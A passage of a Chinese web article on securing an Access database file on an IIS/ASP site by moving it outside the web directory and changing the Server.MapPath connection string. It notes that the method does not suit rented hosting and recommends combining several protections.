例如,IIS网站的Web目录位于“D:\wwwroot”下,在该Web目录下的“DATA”文件夹中存放着“1rtj0ma27xi.mdb”,现在笔者将该数据库文件转移到Web目录以外的“D:\CPCW”文件夹下。然后修改数据库连接文件,将

DBPath=Server.MapPath("./data/1rtj0ma27xi.mdb")修改为

DBPath=Server.MapPath("../cpcw/1rtj0ma27xi.mdb")这样Access数据库文件就安全多了。虽然数据库文件没有存放在Web目录中,但并不影响ASP程序访问数据库。
不足之处:此方法不适合于租用Web空间的用户使用,因为将Access数据库文件移至Web目录之外,一般需要很大的权限。
以上方法,在不同程度上增强了Access数据库文件的安全性,但大家不能将它们当成“仙丹妙药”,毕竟网络环境是复杂的,黑客的破坏手段也在不断增强,大家可以根据自己的需要,选择其中的多种方法配合使用,效果才理想,Access数据库文件才会更安全。
Records:45012345678910»